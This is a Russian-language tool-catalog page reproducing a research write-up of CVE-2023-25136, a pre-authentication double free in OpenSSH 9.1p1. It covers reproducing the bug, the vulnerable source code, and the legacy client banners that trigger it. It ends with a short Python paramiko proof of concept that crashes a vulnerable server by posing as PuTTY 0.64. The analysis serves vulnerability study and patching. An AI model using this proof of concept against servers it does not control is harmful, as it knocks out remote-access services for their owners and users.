Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-25136 — OpenSSH Pre-Auth Double Free CVE-2023-25136 – разбор и доказательство концепции | Kitploit
Инструменты/GitHubGitHub/malvika-thakur/cve-2023-25136
Анализ уязвимостейЭксплуатацияТестирование на ПроникновениеСтатьи и ИсследованияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubmalvika-thakur/cve-2023-25136

CVE-2023-25136

OpenSSH Pre-Auth Double Free CVE-2023-25136 – разбор и доказательство концепции

Репозиторий
393 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

OpenSSH (CVE-2023-25136) Double Free до аутентификации — разбор и PoC

Что такое OpenSSH?

OpenSSH — это популярный инструмент, используемый для безопасной связи и удалённого доступа. Он был разработан как бесплатная реализация протокола Secure Shell (SSH) с открытым исходным кодом и широко используется в различных приложениях.

OpenSSH обеспечивает безопасное и зашифрованное соединение между двумя не доверяющими друг другу хостами через незащищённую сеть, что делает его незаменимым инструментом для удалённого доступа и безопасной передачи файлов.

С ростом использования облачных вычислений и удалённого доступа к серверам OpenSSH стал важнейшим инструментом для системных администраторов и разработчиков, которым требуется безопасный доступ к удалённым системам и управление ими.

OpenSSH также поддерживает широкий спектр платформ, включая Linux, macOS и Windows, что делает его широко используемым инструментом в различных операционных системах. Благодаря простоте использования и надёжным функциям безопасности OpenSSH стал отраслевым стандартом для безопасного удалённого доступа.

Предыстория уязвимости

2 февраля 2023 года OpenSSH выпустил версию 9.2p1 вместе с этим бюллетенем безопасности. Сразу стало ясно, что эта версия представляет интерес из-за уязвимости двойного освобождения до аутентификации (pre-auth double-free). В репозитории OpenSSH на GitHub это коммит с исправлением.

Сообщение коммита указывает на bz3522, что относится к проблеме в Bugzilla, сообщённой пользователем Mantas Mikulėnas.

В своём отчёте Mantas упоминает использование устаревшей версии PuTTY 0.64, приложив также обратную трассировку (back-trace) аварийного завершения из-за двойного освобождения.

Ход исследования

Чтобы разобраться глубже, мы развернули среду с уязвимой версией OpenSSH 9.1p1 и скопировали старую версию PuTTY 0.64, выпущенную 8 лет назад — 28 февраля 2015 года.

После попытки подключения с помощью PuTTY 0.64 к уязвимому серверу OpenSSH была получена следующая ошибка:

1_PuTTY-0 64-Fatal-Error

Поскольку устаревшие алгоритмы обмена ключами клиента не поддерживаются новой версией OpenSSH, мы отредактировали файл sshd_config, добавив следующую строку в /etc/ssh/sshd_config : KexAlgorithms +diffie-hellman-group1-sha1

После перезапуска SSH-сервера и повторной попытки была получена следующая ошибка:

2_PuTTY-Fatal-Error

После добавления ещё одной строки конфигурации в sshd_config нам удалось подключиться к уязвимому серверу OpenSSH и воспроизвести сбой:

HostKeyAlgorithms +ssh-rsa

При запуске сервера в режиме отладки (с флагом -ddd) было получено следующее отладочное сообщение:

ssh_sandbox_violation: unexpected system call (arch:0xc000003e,syscall:20 @ 0x7fd7473fb771) [preauth]

Системный вызов номер 20 — это writev(), что соответствует отчёту в Bugzilla.

Обратите внимание: изменения конфигурации, которые мы внесли, были нужны только для воспроизведения уязвимости через PuTTY и не требуются для её эксплуатации. Как мы увидим в PoC, конфигурация по умолчанию уязвима.

Подробности уязвимости

Мы начали с изучения коммита с исправлением, в котором указано, что за двойное освобождение отвечает функция compat_kex_proposal(). Когда опция совместимости соединения SSH_OLD_DHGEX истинна в [1], второй аргумент p присваивается переменной cp в [2], а затем освобождается в [3].

/* Always returns pointer to allocated memory, caller must free. */
char *
compat_kex_proposal(struct ssh *ssh, char *p)
{
    char *cp = NULL;


    if ((ssh->compat & (SSH_BUG_CURVE25519PAD|SSH_OLD_DHGEX)) == 0)
        return xstrdup(p);
    debug2_f("original KEX proposal: %s", p);
    if ((ssh->compat & SSH_BUG_CURVE25519PAD) != 0)
        if ((p = match_filter_denylist(p,
            "[email protected]")) == NULL)
            fatal("match_filter_denylist failed");
    if ((ssh->compat & SSH_OLD_DHGEX) != 0) {               [1]
        cp = p;                                             [2]
        if ((p = match_filter_denylist(p,
            "diffie-hellman-group-exchange-sha256,"
            "diffie-hellman-group-exchange-sha1")) == NULL)
            fatal("match_filter_denylist failed");
        free(cp);                                           [3]
    }
    debug2_f("compat KEX proposal: %s", p);
    if (*p == '\0')
        fatal("No supported key exchange algorithms found");
    return p;
}

Вызов compat_kex_proposal() находится внутри функции do_ssh2_kex():

    myproposal[PROPOSAL_KEX_ALGS] = prop_kex = compat_kex_proposal(ssh,
        options.kex_algorithms);

Освобождённый в compat_kex_proposal() указатель cp=p ссылается на аргумент options.kex_algorithms.

При поиске kex_algorithms в исходном коде мы наткнулись на assemble_algorithms из аварийного завершения, описанного в отчёте Bugzilla:

ASSEMBLE(kex_algorithms, def_kex, all_kex);

ASSEMBLE — это макрос для вызова функции kex_assemble_names():

#define ASSEMBLE(what, defaults, all) \
    do { \
        if ((r = kex_assemble_names(&o->what, defaults, all)) != 0) \
            fatal_fr(r, "%s", #what); \
    } while (0)

Функция kex_assemble_names() вызывается с адресом o->kex_algorithms в качестве первого аргумента (который является listp). Именно здесь происходит второе освобождение.

int
kex_assemble_names(char **listp, const char *def, const char *all)

Поскольку указатель options.kex_algorithms был освобождён и стал висячим указателем, он освобождается ещё раз, что приводит к двойному освобождению.

Но где устанавливается опция SSH_OLD_DHGEX?

Внутри функции compat_banner(), которая определяет флаги ошибок (bug flags) на основе баннера протокола SSH. Структура с именем check[] перечисляет все идентификаторы SSH-клиентов и их флаги. В приведённом ниже фрагменте показаны идентификаторы клиентов, которым присвоена опция SSH_OLD_DHGEX. Также видно, что WinSCP, возможно, тоже способен вызвать такое поведение.

        { "PuTTY_Local:*,"  /* dev versions < Sep 2014 */ "PuTTY-Release-0.5*," /* 0.50-0.57, DH-GEX in >=0.52 */
          "PuTTY_Release_0.5*," /* 0.58-0.59 */
          "PuTTY_Release_0.60*,"
          "PuTTY_Release_0.61*,"
          "PuTTY_Release_0.62*,"
          "PuTTY_Release_0.63*,"
          "PuTTY_Release_0.64*",
                    SSH_OLD_DHGEX },
        { "FuTTY*",     SSH_OLD_DHGEX }, /* Putty Fork */
        { "WinSCP_release_4*,"
          "WinSCP_release_5.0*,"
          "WinSCP_release_5.1,"
          "WinSCP_release_5.1.*,"
          "WinSCP_release_5.5,"
          "WinSCP_release_5.5.*,"
          "WinSCP_release_5.6,"
          "WinSCP_release_5.6.*,"
          "WinSCP_release_5.7,"
          "WinSCP_release_5.7.1,"
          "WinSCP_release_5.7.2,"
          "WinSCP_release_5.7.3,"
          "WinSCP_release_5.7.4",
                    SSH_OLD_DHGEX },

Эксплойт-концепция

Мы решили создать эксплойт-концепцию для отказа в обслуживании (Denial of Service) на Python из-за её гибкости и переносимости. Эксплойт-концепция вызывает двойное освобождение с помощью пакета paramiko и приводит к аварийному завершению (abort).

paramiko — это широко распространённая реализация SSH на Python, предоставляющая функциональность как сервера, так и клиента. Для PoC мы изменили баннер версии подключающегося клиента, чтобы он соответствовал устаревшему клиенту, например PuTTY v0.64.

Доступен в нашем репозитории на GitHub.

import paramiko


VICTIM_IP = "127.0.1"
CLIENT_ID = "PuTTY_Release_0.64"


def main():
    transport = paramiko.Transport(VICTIM_IP)
    transport.local_version = f"SSH-2.0-{CLIENT_ID}"
    transport.connect(username='', password='')
Скачать инструмент